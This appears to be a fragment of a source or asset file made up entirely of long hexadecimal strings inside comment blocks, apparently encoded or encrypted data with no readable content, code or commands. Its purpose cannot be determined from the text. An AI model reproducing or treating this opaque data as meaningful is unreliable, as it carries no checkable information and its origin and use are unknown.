6876327ec4aa740bd28d844ad8e8258a6115c56e5ba5e5638cd6897e89200d4c0fed92d723f5a8dde97d3785812c80ffa99846437d8fdd60ec7c2aef5515599ffdc572095bc70321c905b9aecb044cc46fd540f86c938a9bda8b565be3f44a80bfa6e768c7b21fa323127742771f0e74173adda4ea9fe69e97ab39c55da65ef64e480e47731af766d3d406189f8fbc5a0c45fff0d7be459165d6d09d8c003b657a3d59e5aaced401fb9e0ef5f971c58a512f2f4fcfb275f13fba532ae1b6e4270fe702f497e4a772e1226c911a79b658744c5ffb482660d3e40611bbfebf6505fd129216f8844fe2ab1a1b277bea99b9487d4cd469e468088188b33bfbed3f3700c6db19329bf298ea9e40018483736bc54f4e67e7bf0c733cba3fd959be5006c4853eda3772816b5bd0d65f0a71508fbe9a314c39bee0f4e6881427dd165315b07b6c3be7afb3d986d2fd3d4dda13af37e7ef4f4c54b8a1ce961ebbde2269b04d60514c88cca4125b0773718cc7b56072cac26c2baa447629ad39ba68ff647c8be174d89a665996035ef2012d47604dd56a39f484e6e05e8a9b70c7caad78fd4985dbda7d970d62e05e91b334af397e14b4fd063d61e314321d248476b369385391cf5466862c5c0c5303f7eb64f34c1561df243114c1bf2ac237beb5a4c657fd8d1a7ea6551e2b6eee181f53643521b7dab194a3c71fcde5dbdfde882269bc8567340e2a864f7f26b3114c456eb30bfdf84b9c9950ef859f1997e008d00be45817c1cea5f282cc94e8c173e41a30a7f9f3f192ad70d888acb22f7377ab5ed2d3fdffadc548407a6e2a50879d896df145f972f924f7d39e021eb409d84ece12a0179f006a16a455a6e0bd377f6e804708391206ddcd7ea7aa092400669aa37fc48a61f2588dcb8a38d8989add9a9cdbf5e87f57d20bf9f8f1b4c0a5b574a542e0d19a71e9a08535350aa5914380fa74d557319f71fa5fec2c03dd50ede396cec320b565b361914d04e9ed63f18f9ce3424fe3e2fc8107c13d53bfa508b88c04c438881cfa0902cdb32393b4f04e731e0698c89560091164860c2c60deb477cb9397072013f50fa29cb2145df635560d939a73e7cb8539c7da558c016e31e28ae2ba071109d26a2c9f1fd38bd2cfb93dd0d3a74e921c930dba01fb3faf8d1ca8193cae399978ba441e757348660b1c37f0c51808aed028b00c04d666c03bd2aebbdd6ef8b66ddf9c7a8aafe0c43bc77504fff6edb63974e687b5c99ce4b651a19ffede9fed2f59d724dc434b0e07c7d20a78f2e875c3d33f5d42f98b83182018a9277789a71ba75093a2c64eb8013d666424141318df293b3139bfd57bc134ff0d66d12182f01e80a6b7d55c9702ea9660e631b48132d3437faf77e7b3de259d6f41f456383f775898e9c9053ec66e119cf51f9f9944619113f9eae41e2b6021d146fb15273a6439b11c67376b38d1f1db407e57111424d4e54c1b4f44954d1a2790dc6783239229ebfe5c244cee10f6f4cf84811498702693b6980d4055ff3f6ffcae8755a70e16c4472bd3de78bd9313a7639c85f125f29b0c39ec31164d4229dc94db1587259594660557d98348469216fd398999198583599e51ae5bd54d418641c31d55c73f037b83b5f176c173473ee1c20eb7a672125416892bd990860d78aba16f647d9ce426f614fd7cd5258e9cfed8b9bbb53543425f8b57521332b74e6b17437acece2001f83fb71f48aae797c2e8d3c52151db6d82ad7fdebbfc9e12f238b575341db9da580917f2198dd88a91664547cae1c01c4b27d4ece0200fddb0faebc08cd793201eb7ca565458938de8fc83727d9ee0942f1dc28bcc6e802ca99d43803ac188fcf539c26a5399a97259fdd3736cca*/
/*7aff2922858544f9dbfb3429314e5d339fa7f5cdbe436168a27353a66e013a480aa0b3a3a035b35a864b958279df0581d668cb8fc17ed4340ed528014959389c29f41854ced2e5538d8057d4507f971afe212aa8decc76a4589f244aca5ae1ec8cae59cf5a9ea5a9c256db7e30f42e09fd986972cc463089f9e996cea5b5574e46bd3200f130caa0c99b05353f7f4653ab32e5be1b01c85ee0a4519e8b1d6be1c659e6ad2048c10e8cc8319e13660dfb7bf4fb27b5acfbcca09de480c2ba0a26460917f8801bbd9c6f10555e8ba5b8bc76d52841396854389190e77326bc082a3eb306f9bc7cefc71d02429eb28797b734ac023feb2b2f1514edeb1e85ed98f6cab2ecdf3ab147f75319f7fd242e0fa1662d5d9673c4efc3690b7db5c276a1810d430104f10ec7456ab50da76b484b3d711cd5e9d5905df1d369cc8a51d1e6dc2cfa26f1da74099c176b5db046df0881a52a5477a838abcc4e3c533ce2b1b86cc85272ab35ec6edf59fb5154e216396ad88b735a8a3b280e4eee85cd006882801886fc06aca085b12bcc31e7181f304989da151ee0cf0b42dfcd5f710157744c7be8c326548c1c5db90406335ad74e45076d757bb77755a8f4d97e713066e19ba1725d263087d04569944b0f7472e29ba45b204f7a1a585e6b91f8c034ff4d95ca779b6a7167393336ac85aa7ebaa8ddaf02374a5ae2365f01cc505d29ac055d49d847471e2f18a977d03283b59637f7ca582e85fa01da0fdd417ab8a4fca3d549d25f0bec91dd77bc17ba14d8f0adb7b205b41151111a4c7762bc3162fea372681bb36e045cbc2b2f0ca950932b38c36c55be40034dee29185baf2a4ca5b3ddafbedab71e9295e09778cfad3db84722459b4962d0516fa005141fa2f6db3895f34fc6d37827df419caf56f26b7045f77e88b4a587d6ed99b167e954ba8f81b16acb60d11bd270c30ddc54f9dbf84be515f420a45c056cd6d1504449d2080982bdb62699a47e2159691e2d4c2a97a228cb3b8edba67ba7392c6d1dd65a3ae11fa14bdf910bc1618f17dd3c0ce3a244b4f765dc3fb0202525b2d31e9136547b8ff8503d82a8948167d3e9ae59ac08d6978413cd9d165f880b3428c7647ba223fbb0e9e4389e7038c813a2a63b23a8880940d6aecda37e05330ea2c0f5f663008060c52597238334192082569009bf41615b8f9a9023e8be5750a4d1a365c7b6fc6482dacbe544740c0b81cacb4478b38aa3e613094e6ae8090c94b8cee1eb1841651857ee5528b528f4b2b79189dcbbe80be1c127fb0e9538d5c816738fdded9b665da38d5d84060171ea4e637a076d6798493cb36f0f1dda34ada26a54f5c50ea2af96969d57c80d981152140bc2abddfbcda607b255dbca80143aa8caa6faeb7e9b8dfcb959de3c624c963db1eca0d673afb5a43a4175111d6e3661e885d80ac331056d2d6a0939fd6c0039f1319067368dbb3344cf07c6e1fa98e6e19743836e97af6d427b86be4088d077760504b80006ca85f956990c22197b8fe1530a952a5ec5bad33e140bd7a6588d204f1968d99a5f746576a862c3d9eb3c125331b712936248a6c566fe38698590e0c7af2e0025abc2cb613cc88b499522782ce8897fc166290251526992d139a912163caa511311c06c1698665f56d927ff7a9eece9d8339a91cbdfe519191faa97c97073fd1d7f9bcc4c4d911f92d6d589fcc9067e556a769482bbf553eacf62aacd60d265b0958030923465ee1cbd17b7a769643ec38fbb41d7547091142ec4cb8f1b1fcaf84510c38cbf14e6a4a37937ea9ec394fcb449e5073973806ddf9bc3a464b2604be2fa7c6a3a74a320f17894ab11f71086d8a7e248d500d1a015e612bd1419999ce9bbcb68700b6b0ca0b2c5d8f5c99ec4578779f57081f1be57601f67a3f2bf223a04b15923426674845e885932f26b124924ba47518198b17282f89a8fe133d1e19a3d76ba00feb58ee1195a54646e591086946a5f2f3f42b4ccf15867f8a2ccfe3f7a2506ec2b3b89fc6f07bb388d7c521b61dee76f1db4ddce6bbf7beabecb945a850c15710eaeb0061e382b001072f3595cc269a48a97edc2143c657ee69e01b5c86c1fa867f520d4d2304570ddefe6c22fa028dcfe8c080c4fcdff6a32f97dc6d626cbeb7e05b93e318696f885e2db54e061bbbb293c56f157819e9375a268c808e6b76be0ba92c8ae4ee6972e880a73a301eeae6df9f0654d101f1a085a129f88acd389054fc673570805519ace8bcb7891e3a9350544b725e051898053d07e8cbfd7b9b5d38f9edbf20ebc465d0253370a08fbe593dac49eaacfe2b80594ac2a54e1542331236aad78dffc0c013d2ae545fc25db8814cccfa612e0a5e33eacfaeab11239aaac019c8e9b3c31422ce2d8f08a63ba4ff15de577785b82d6d8bca95b3d77155d6edb446a6912ce149dd8cf2cf58e5ae9601c2900692d7221f3a39f577c00c0bf33989f34d4482301f16cd088fb77ccd8c2c52e567d0707a44d9be9c2f23e120bfc0a29c694d50bdf4325d1f95b20f339c355e12b700fa1714311c124787ac591d1a06be89ce1aeedd6496ad0dbbb945e882772326e7bdd791ba2f771497a1c0f389eac81be05101c4bb971f81de3eb19447f80adbf8ced39b21fb355b2f73c97d991a6bf3cfae02b52900171a5f327c76a90c045f0be2c055cf8e6059d196eb307e343699e9c03b8758681a2cdbb3f0c7de9d3d9141179ca6efbea4161d0566e4aa0dd5ab2a863c18b8362d19aead75e4004f014c99a51e0947c8a287969e2db05d7525ccf521c1a7ed5e79c76e8de01c8350426e423*/
/*2335f2f62447d782869e2670982d8ba41f39c293384d62f3d4824e621e56a7d7cfd5cd4a89039605f0eb25cc107d53c95226aca699470e3f248c37ed20dac3913b6a7f74c253346365109ede725c09de19b608581fb13ed9f97a4a98d37d054ac32e64f0c509f2d7d2ea47e4ee0de51166946088ac969739c790ccc39af06a809cddf1ec3d55065806fa5fdca38d7204b94bfaae31c51ecf1b331f3e55cf58f08a6cac47347aeabfa1e4eda4b8c6e260ff9697349a971951dc99e5bb37a8b3c829e91b02621551e6e9e475ce38fb646aa5783a1766fe07910121ac2dd2fe1e7e292a223ef92da26e56f5b8e48e37df39da8d2e31e7a838fda4e3c690e3a9e8eb44a9bf5e30f0f0be11a7971cac470b5767b2679b2fe366f84f6b32b011c8fa937636792726e4abe1ac11de00b695fff49b7356796ab344e7ffc418b582fb4c39dbe30f01d6aabe095f24339a95ad8a04b20959ccce0c6717337a8fec8e668a20396c1fe8b4e22bcbc364c5ce2fed151797f50666ffd087d8a7a5ca00e501f5f405d293570711531378c8d867866f822242f1cb0aa68ee4b656e558754da0e006eb966545ace929d72ae8ae61b8e0c60f1ba51fc702b593ac13830034bab8955eb7b970820c1db5dd914b188741cb720e73ec7f722a6d9d79ae6c049bf7c168ed7e5be2f46317803c6b3158c7d6aeb0e3ef6619df35fd092d6aee6ec80cae745b3a67889ef338ed04fd92058ffad721fd773b2b71d9029d58a517907782b62052a626e9e37a66317a2d4ebb4451c50647bc4f045011d83c61a867718b98909c27fb81cdd655bc0c42d4a8b45513e6e58a85ddb3b2e0bc2162d1a9ffa1d72d53c4b5b75fd9e2fa687b9434ad16fdd60753b62fcc6f3094f5b1d96d8e05de0445b7a9830bef2d10d7256fb2e14c2132e57d7807226c2020150ec1b6e1aa0d08b2901325226ed50d3b9aadf39fe4fe7f0da56a209833e6eec37aa0f479ae779b18bada02cb916d3e6c3f89231a254481aebdff9499b2f3566ab437abf91576e3a9a97744a3ddbe2431ae43b2767fdb01f9a5a6f87b138a9ceab4d491334ea5af21db4dd6547dbbff63593a79b326120a0a5408c4910ed2ef4912bb4fdc27f1760038f719a389d305e0c9a099c660bd275f5133b0e79cbe0e81ab07c14f224c513f17a274b3234b2773e79cd4f575d4c08d97434032013e2b830089563f65786db84e13d0530a8fd3772de99adb911fd010f62adcdf0516110efe1fe75b124307291d1de8bd6546c94f201b1b9b692e0545606900701557862adf24748bbfb97461423a7b60953bd4a1cfdfa239d60ab650b3fb3b79edf221c20befe67182b6314b274ae7fc448c4ad3b00647789b420b86a38948da8688fa5432bf412a271378d79f338df70aff8cf3a5fb4e8b722d4371c9241d91a8ea98b46ee14bda2b1257f78a0ede67ed0ebc104102ad2c722fd242f894775532d4359ef084a37df2c4bd841ab000fee0ae57a5ab3e468332d808a7c7ecad33b127a4e5a762c8f0c3bab87e758fe5ffaa57aefea352ea99992009b62f204ed356f8a98c9219424ea3e88e6f95d6fe8e4551adb55e9d518c90870e4c42aa485e74d37719efe61f75c1e32cfe8f2ba47dac77829cb22e8b28598c3bd6b2f56b15d10f49437a9eacea00b72f30e485c757736e86477215a6d1de16ebf8b7dc151960d38943cf6de557c716bf02cb5db0eb21ce408370c1db3dfec02346965b04bf4e4ac5c6b3de6290498d0b9e1275b2c696cb5ab30401f135ebba50a3e8817df81df165969e071a4e5f312a781677a8e6fda6f03c616a1f2c26d3d491a1217611b92069ef44c85907d9dc2e8a6dcefe86c2d9c7216e8bfc06c71ac8990884da70b25f6891fb10ac51792129ba3cea258bbb5e4bf289d9b7f3c4c9463df10906f550353f43878307ddd6f2ef654bf7fe5ab4e32c5c2293aa0508ae01a84d5d07ebc247f0356da9a24567a35e3b50a4192ec7e65f540970e3dfb36676af5031ff8d7eda50080847bbe90c46fc42243a607cef0faaebabe80159b2534e19d22ff88956d58636f71980b829ad72a0ecd61cce1cf8dffa0a7e34ca4ebe291883b28cb0a7118105e7d805d0927c5f7c78e6e6db87b37744a58130a996d33864471f5978ae3f86830f53771d48170a58a6d4f235dad88f8df17a12731bf4d8a4e12224093c245ade47bdf8d5b39a15d0d1e27f1e9f073bb6641f29f9fe387025a26c6ba249d5c451bf96f6f71fa76eb47bab054e1240068fd4dfe7625f7c6d5f934264d48accc14bd506284569ca07cdddf505bbf147d4dd0b2b43fca96f69303440981adc70c1cc45c523d1c6dab360d569c56f5a793388c47e32b50a4b7957a34c4a44b485cb7decc052927ba83037940b988bb2be510b98c9e73a681e31fca367d2e5875380906dabb0c04c9f104b2503d409e42064a5820ba28639e2e13f173522268e7f88d72142c71e6f138ed1be6ed9d94a18176776cdc67a0a45d9d6088f71320b75883abc7abf7380aee008d3ac0552590a4a14a05441042ee32c65aa89b4e433c5c1c22603dc6e799d701a3d2898d351146594e9c65d0a5ed08175b9ec110b8be116e2c229dde14831affbee78444d82db11938c50bde735a9d00b638102f8a67ce61201333da4dd946e209cfd13a0f0dc32c075825ad19742386e77f21a310ebfa6db5b490af35ecb55d95ee0af053c91215d992cc4e61a584a86f5675325dd46492ac222e862c2dbe3041a45afac4b0a784f3c8ea96e1f9b7acbb8a678ba104629e9bb05204a1e05c513fc399d88638d633f4d1f98e44b77bc9d87*/
/*3df0615767aa0c1e1e4851ccf0a722eaad383b53d06e3f81ef1a2df40fed9e6e3cc758dbe2c994d83050e6cefc71c8e3400a1dffcb7b3fb3c9842cac1b27729defb14f82da0d371e6384f12e8bbbaffbeea255495243d21f582b0fec1e5c4d00b3bd51601b0e65f4c9ce892bd508088bc5a6eee3ac6631d33cc84e1b7cd72fcae4e3f471720391fd715357b8bf248f1019693242a6ed091351539566fd6c81e117abfbc9f13bbd69330e3e50085b70582231e27439cf0278a463f67460b24137a731f3055448e670e8633344576bbfc12ac5c50101cbeb86f8ec7d34f32d5e42b768bfe624887beb25d6e3012c6d2025746055add477c09f8dfa114fc9a03f334a9872d121ca35d18daceec2c055accbadb2fc961ef5285e94aa42bc9155c9558dd03295d4bdac17537c86e62535d2360e0a133bf5619b07deaf7763d026ba9ae8077a25769952aeeb75a820f410de0fc33057bd485f9008d24147f10ae50938ecdd33b05da974855123a03b456f3f897defd8af0af056e42f3ee1ffa15b1fdd560307b41a872e59d850997143e123ff74de731ee81fa86ae33ab343c715a763efc58395554e1af8a9580c2ec6b03fa29017bd4a5a7773d345c3016f24592af84ff01b5715833eb8824533c530511e71f14ed498a3212e03c967eee37ac020e7f908168154f2691d4655a5d618dda118a604691dbe8eb6f441a13abecb4b05557ebf21d6ec07193d5623aa66d93827eab7fb326a3789667973e0d39cd26201239716242dc580ae1da4c65510e2007750065d8ba512a45b5a7f1718ddb0304e2b63faa7b5338e45ab1dd6248457aa1b1a70ef6ce1308994f5f3841ba6558787e9af3596488cc9f4e1e53b64fffe335e9a8dab44adba8f05d81e1810e17b57c152f2eefb898a018712c30325e9b6cfcb93ea3099bd8809cce5c9e6002a409a4b8802c83905fcce0757ec67a4c3ed9797ea8fc5f8ff01407b87d64d635c45dab68d61fafaf37549448a460bb05d7940646c44b7f9aebf308fca5db25dbb173e1b69b407d3c9cc53f2494f773d49aa4a2b15c59b22d7904f0fbec3a96eb96ac45b87ebf24451d5d44534028571da306e0ab7462b32bec8bbb2272d7db31a1e4d5fa0df1d1a5a19d6afbcccb7da7757732919208f19b21f3bf90a35bbdffde485e45c3d4139ee38465fe9fd331494071e6c47d6924aaf830ea62ea4cef9715b91e1c1b0912143713029437dc7bd80e29f7aaea35e5a7abe95480ba59710f3033aece32a9a66ed7ef5bcfe5a908840efcb3038f8b1816a6dd5c3052fc6e7739207372ce52625b5ad78c3e38b7348fd23a174a6a32f6cd1dd68c6bd6518899e0435df535efea097c5c30b7d3d3bcae257799709463377c409d340ce07517e71f319aeee39082aaa7a91e80f6279c5496f38336196555a728582fa4c5f164b7194fa75ac6c8bd7f79a32821aa461d35d6a34eae7ff777369e67f80e387eb116ee8a6207ce8496f97fc00d96756de6352c3d160bcbc40719e9b2b656e6c909b4d2f4243c71b94beef4bd27f2f251d94a254be6bd2781515918909008784c45117c5129f054b5013eeca7d81f53e3d7eba08916b733fa1d2fce7aa804a0fc41892d12f4d2d51e6b264db6f1a0998ea35e603fe376c06dc78d49fc388594f2f3bc486de616ac0abbe3a6ca12b45daa31c86bbfdd1d3dfcabb7884c01bf08def7e742025da7dd07500c94de675750f3b3a9706c125da778f4814e02077134e2875bb61e9c273d06ed7a10ed5f420af564a92ffb746fe5d8ede1d73955edb2da29deb89cb92413d8b08a5f1dd3464112dba2c6885a8565ea95a6498ad9a494eab4fab915bf7e4e9ca09088018a85b0043166cb57f2a4c429551812565f588907a084211d3ad5e69f74e7cc371b5cce27e00d2686f48f3485bbb7a7befbf63a7a40503118c8d1461ed721aa90d3e3f1eadd6626362365b83a74cd868e37107b3f852ab6fe8978c5be714316bef753d75e9210bcb38dca96dd78e5c539ba7075438a8e9824981260d28e4e557843f13d9d3eb933a806ef03b9a060f70e5834bc9a82f91bc8b697489ff22c28af5abc1c64d0f6ac6cb4970b2047910d1f1e903a66614c62990146ffe25267006eb3c991d4b717da467721d5cd89c826fe8c8019b2bc2f90634d233ed42e4de04dbb12246eea2f6abe0fc0108cd46cb576df2318a8082c1170bd33dbee3a1356772a3c6eb99586deb8c2f497bb770424f7068f16ec41bcc03c1ebd62f175e64d037ea100a0bc10ca2fd5729c5d37bb725ebd828c8431e5b2700e3a913b9c384075ecb18d970fa06646bb60d3ec52b5f593b22f70897d6c5f189f6274cab7f16efb26224fe3f854336b3af992a34700157670e0697a7877c16e24d8ae7b03012b9bf128907857ea8e3f3d1a87c528e05cffd3fc43b836b3c4703712320c325bb3614895de74c8bfa84a09bb54b061689ec9757fbe746fea7ca2d9810b99dae45a2a1d5fad5736f8c12709fa2a19d3f9f33d00ac5bf230c78667cdc2a3e9b050da61ec4b615fd2844e7d17f3856b683bbaba7e738a20882db219bbe46aaf85081c2e60ba66a0a8cb2cb2154b6bc54b9b7e4dd1395b1500d9b3f9b33a28b549a0c5b69c82539ba5efda2c86c05fa53f68d61ffa77b476625b1973d194905441d15b921981f4bf12bfb920fe39009fd36431aa9494a61d3849f950f41f2c3d287789dd844410499c03f271c674f8c8a0246b5a78998fdc97f726edda157d5b1a02a2a45375fdc565aa7b6c64460236371082421f833e879db762afd80439837baf39b06e04f7ce8a7d50baa0564*/
/*eb6a6c552d981dfd8f0633f27a8c9787b2933c08184e50fb42eab37b7c7b75182c6fa2cfb0c90fa1fc50e09728b90c327b417b262b87a3adcb6e6b23d15f21bef26ca42f663b0cdf55a6d1a7a18ce55e2757044eb61f884b4f7bc031bfcfb8797270044ecee1e828cb3eac32d74029ba4deea2d8c30c6f48a76bc6b7090b9e95b818ec92709819a960db7561203f5c0ad12aafa0a85927d8d01e21e6d362ba0a41ae3b44de123d36d79c9b08e88731738ded33891a1e1fdd16474971b6030f76cd55be2e8a73aa161208d3e38d88ce8f61b8d36b403d9c590d2ae80e0f9cd6836f694e4f9590ccdb53a0dde7bdcc8549a1802de80c784dfd0a86865b58ebde06296b88f0378a839f968d3d8823ff31945c99b836ca4c1f8977abf388cccb3e704f4c731da5a5bfdeb1665f18b72565e92dce6c11e1f6aa6dc17341f945faf965890ebe9b068cadeb4364cba30c480bd1e2491f945b36f511574ff10761a0a308abee81bb26acd98d5a32c0734c31b19ea94c59ab5744a23b1f19963e526b6bb82e39f8e5c972458c55edd1b0c85f74004d49a3bca3f89cdb7766ae4c023c7ce386ad531cc9ab22a6dd9b4f5c1b96f02f4078dbc40891a3db2ac1758b4bfca5bee31f1bad605123129cc366e8424fc4c1939ccea0cc060769626a4e3c4ee6c2bae5d1ed47046d0b85f034788117ebe08eb674a76924c2c6174bb3ad994ca08c64934346f7a9c889cbaf5b93733a861ed7e6ad0211c490eb4dd5cea21a1309dc65f3632d5ba3a87dda21f516449ee39d9ffd589fdb3db707821d013118aeb0b71860e93d68c0e35765b3d1cbee7a143bb977ae4ccf64c578bb76b66c79e7055e4a7c0b2cc9108f3127a259fb615a90cca50f84e8f5928f46ee9e44673bf41e6c1d126158e51b9ca491d97908d2f901a268b5319665587f7b1efa726eaf4ee9060261e12f878bd36ddfbd5b070159da3cfa089ca39b1e5fa58e1cb32a428ec3821071eaa27149c92d7019cfcfbb7a1324ae578f5ae4c997838e55facb5ffc37a3a2ac222f8d3985586851719d49b65ec328207bb70d1ab1bc6876594279416f922a32a51bae9e2acac22c8c8f7b17458e90e261055d8bd70265afba154245ae0b4a901d2a5d1ec97f120f9cac9319efd3646f5b970686993ac17a470878784c503ef3b523427e77fa22acfdb372aa057003440f1c89a84ebea9b811a600f15e721aaa85840dd7f29f7f71280f66436e375bdc772fbeae6e0085373cbf71ae6026f02870e0a2d4589b328940fcaffacaa0780857bb5fa2cd40c71ae9c80676dc5860c702d242c1187f9a1ac0988f8a0f9f384d31aef966c3a812d419a87435018621900b067cfa428b674837e05ca7bc192f5f696b85b4da4445bdb47c3d8de792a1114a324c71ed9e3b2b03a9c2a3c9074367bfd2bc30a05df65fc0aeb94781f170d3e393e52a90a6e492e0fb62cc0d0cf153a7069ad9ecd8e436d980bbc70dfe502f01e255f21990409e3afb67ef8c520aa0ef1b5785223c08748eaf398a499444ed53441ba1d0c157ca341669264073189cbfe548a52798f0943fef1993b6752bc70ee8c884ed76edbff53c2ee1f28fd6943506b9b61f3c64c98af03791f38a620665a957b9928a4d14ad53289aee514cf91c0212606b0763e2c649387081016f5076b265e2919bbd2fe53245fe60875fa3c55dd882013cf65ccee3e0b593fdb6fe9b78235ea57e5367b647161df2fa9708e972396e3b5c70540917b10e3d30b7c023cd84c7825388e0cc0bc0cf325c9fa964aa35dbda9bbcb39fbfe8d513b8f2c2acd0872ba14e3b67fa8bef0ee6b726e67601ffd8ace09c35cfa124e9ab79e28f115e03af181826a51f1e7901d1ae60c86d05071c54022763d78d895ed60280ead6ce2c2bf50bfea4887c4d05ee55661907a1b4798c9197095fc58c10bab67145f6487b24d439dcd91d6c995ef1aa6d8e001ccf4b85c49089e59ebf98955a1167ae5ca38d959a098cce013153b1e3a6e2a35c312fc9fa88b467603fe5f520fd89a261a73903490085d58f50a9227344fc0f39cdcd33884a6706896436166d6fc017597b92ab381af5f5cef5cb62e79f0be70d26314513c459689ed5f95a139848d6ff4cf39bac05e6b7221ace1db8fa7f7f8023d2f23cdc912e78c9fa0e031432f69aaf25eb5dca7d5de4b24c09b36dc453cce813bf08d4e0ae8c4ad00d6b294f6ec8f810b03de3ba26a3f8353911c619417d059b6a39ef7c555553f56dc613b727a321871e2a0d867c67e89d1a609c77c8d23c1b43b3143a895d54dc8faeee314941ff98fd8572bf047d5766558cc2bcfcafb3081231becdcd6006037725d06cceb908fe80ab02447bbd9ce06a9e7ada20927c565ba79981a361c4346a876edd5f35f98734065b38166c68ab786808a137b93b4653e59ab559437f7c84ef8faa7974d809093b877699adc646187a623ac28022f58c6ea84f075ba83dfb76b2840af3513c298f7ed0031ce56679ed61c222da79f7f185ca3d875a31d0ce4cbdcba771b3da31fddd992570555b2136a3101222d78f0f151ab5d9a7bf1d71c53330628e0d47d5137a4d52fb6d6989dff24afbcfbfde382094cc8cb406653d20173399e79d157e797b4436b1a8c613ecaa104ffc106d3858fb374e1b45f7ec08dc5f4de6274e9d02fd296c0c09c2da9d3cbc89e5b0ff23a164cd0cced258e50248e3510b9f5f237f8ae1e63db9d015ae3296d0f80db06d6d686f97f77be1f339cef4063cffe309761a814ca05c3c4b41f9a484bc0bcf2a0ee27434c5770cd71d25bb11441f658e74b035b47cb4a0aea226*/
/*5e88e8e355b4e0450c112705f4abf8a52243a3f9699a139f6035c1d3ac21e5e3b02dd46df635d796e2ce983f26985d7f4e42221c3d5a15e6c4f088f259c81a3e3f9ecf9cfd220d7a7a8dc6943090f535de43495eeb0b622d8e4231dc045be4bb291ff21ed9df9bf1c202bc422d25dcf8847b0d64095ab308ca6cfb9e242c9c03d4c86a8af2fb5c415641b5197fe6da93b4436d2cfd0b8d143318793e0d54647a5ca9daf0485e9a5f20656470c3c74f506a20e5f7e81ce428a2fba16195b6532f4dd06e7727cbc886559f451f150c3053fa5d5da5502cdee3f3b7f03769558f364b21382def4a943931978648e2376a1e9fce9da0535991a9e1f9decc5d8b5eda8f315befce82bb21651c2079a03688d1a206cd8cc1eee8f3b15b64a1f42dcacf2ae99e3bc2bbe5ee36c1d78bbd058e703f4ba95b666b283a522f21a2b534bc00f8c0a83249baf70ad1b7598cc227380f2c7a66373447eff311a8faa0d1cc9716872e1378b7c416964d2e81c3772479a17fa1f0322994911a6d4c09656c41f3828cf2d3494ce7ad5cac2abc6aea4145991876416ec4be9d2e7f7180330b95b5b53340a0f6bd77790b486079f0d60ea64df4dfbd0ad35149b7789c1e100a74008c4b1ae4032808e9809e67db736231f75701a596e38e7ea920cd35b972e701c3fb5c616d1ae2978c285c7a35c948f8eee2bfe6be67f6b73223caf074b8c8074be9f89f760632508bf506b4f2afe7c3d15a02d3053698f41c05acd951282d1a109ba031906a6ef57d00167b462d3c83eecfb711b00186cfe9bc3623ac412bf5f85b73553f8c79c22ff33fa1ff046f24e6f8d60cfc4eaae83d9081ad6de50b42cc244c4c94eb5c8495fe95864140dcfd3a60a7a20e1b6b44df987caf7e52a217d4329e513110ba266a833353a42b4ec868e122bc37601ed28b9d08587f54948e448436665f02ce0d9732ec4d35310240b1c825fab8e1c515ad8ab3e028f442ab08fbdd8108989fe94b7c39d152389f9f6fc7d9ccad1c5484eecb72bddd79a908a6fb76a484e48832da69cc4cdcf759a8aa48965d3dce0b7cfe3c56b99ce0c4544f35b4d8f3dccab9bb68e39170434320c648829e4b5eeb29e35fdee8ad22fe2b00b83014177acb2c2b407c22380e592cfbccb5b36e77d071cd6ca06352e7a545b4b446a10a6e6d375f9475d7ff6dc5bdf8abeec2fd3c6af2322e9cadb9fc99691d7bd204692379537af3366d96917c3298fca034a952350172926baaed18169ed950e51e5b953a2aa8a0c94619a431293acd836b35f85965410828bc1903ce2f911e100230dc2d743c726a0baa95d7baf933629fb0537cfa896ddefcf7cd99861ca62c44752034324c489946f3ef3a77803af5084b7e6010e3f6b163185d15655a482ceff6ee2b032dbdd07ce4a382c963b1842a563f4839bbaad242653ae43f976cda0372d7f8dca9092d342fc1f7bde3d4e1b712550a3404b17c050df44c76534700911eec02c77f15192f46a121c56f25f9e2334fca4528e951b47f76b7a8e49c53b14c14dd46333a2731802dd162c4d0d74e300942076aaa251d0f37bf890d95fc171e7c9cb7f77fa7cb076928ae32add7217e6148f04a4d49c03a53fe6a66994de3f645e1ca94433007effafb9002be541f9cee1c80edf761da2addf7c321fe6ede3d6aff66edfd17d31656bab6b27b9047b5a1f9ba7b51d7cb3ff0ad47d0ac05b77bd1ceca27b8dacdeea1600b0af86800444b5103c8c1f5e4bfe120314b54c9bfc2bbc2e1c842089e7a598e39800559ecae7735b3f11d20506047103fe8f925be3396f2a6343e3d2f566da99a799a1f5f7852616d719c35ed07d75f161ad9123e02727643377d530d870228ab7a5b4465e736cd16da99a4b087a122f6ef9747847eb2a30a4ce4d2c830363037eace5f64f31cd19c138cc45fc408723e34805b9ca74b0c68a5ba1b339601dc7dbbf98b0d4dc1b9c8b273e6d162b74af0105dc5ac19bd51b4dcf2bb34eca10254a4515461c6e257c7d2b614feb0c456a6dc359547a256bde5afd1bd187e8d3e7ea56f74393679b5eddb309046dcb136793bec3316859b2593e5a16e3a32266334c3403e8e33aa3ac08484492e1676d144664a23547adf17d999352856c3659678c0ee97abb26cec6e744019183920497533c2376adb17582b1c3f24e0b6797f4e633c64217ce01db518dc7b365a039606c3585a39c8bc2650add9512cb95c682d0eac65571dee3b41a22ba08c87271367fb88619736ba889607d3d8769afe6d364fd59d66dc3c347fe67b415849fa536f7d529a2c0be3cf654c3103ccc40a7f70ace214c295083cbe4d220dd040bb3840294b66b355e187dd80bc05e85ed5545098a127f930db2c0f87a286e16b13cc9ddbe228848e3f2894cb813a057998a57f4c89fb2e8af6239612c44ec56690c22b02a7e9f6f4c9f04323adb581fdc93967198c64c9dc0045864bf2fa81c5775d0324fe3bdc54313eeb6a1a371677dfe1afd24958050b453f18581e7e1e16553e847537bbdd32db8df46c40b84dcd3d72152c5199ca6e2ac55104ed1610c5000f3aae5f3153fb8329f604165cc3f046c029bbccd2bacfbacf2b3cb029a04a7f65be01c30287f271b7381acd6dad5c29fc6bed9bec4c945702062c925e053c28bd55533aa779b888baa4f84cc99cb9e265189b4e6460fc1e0c6fdaa1db189a1e9ea35a432046e101d20aeb8fc707f729c560da9d578354a87c9f23ed4f085671f437f377a9634d2e9d1da10fb37e4c52b573a605e58cd62632d84db91ae1834e91fa9968f415e4ce87edf9e7f8dd2c3b05ea0002*/
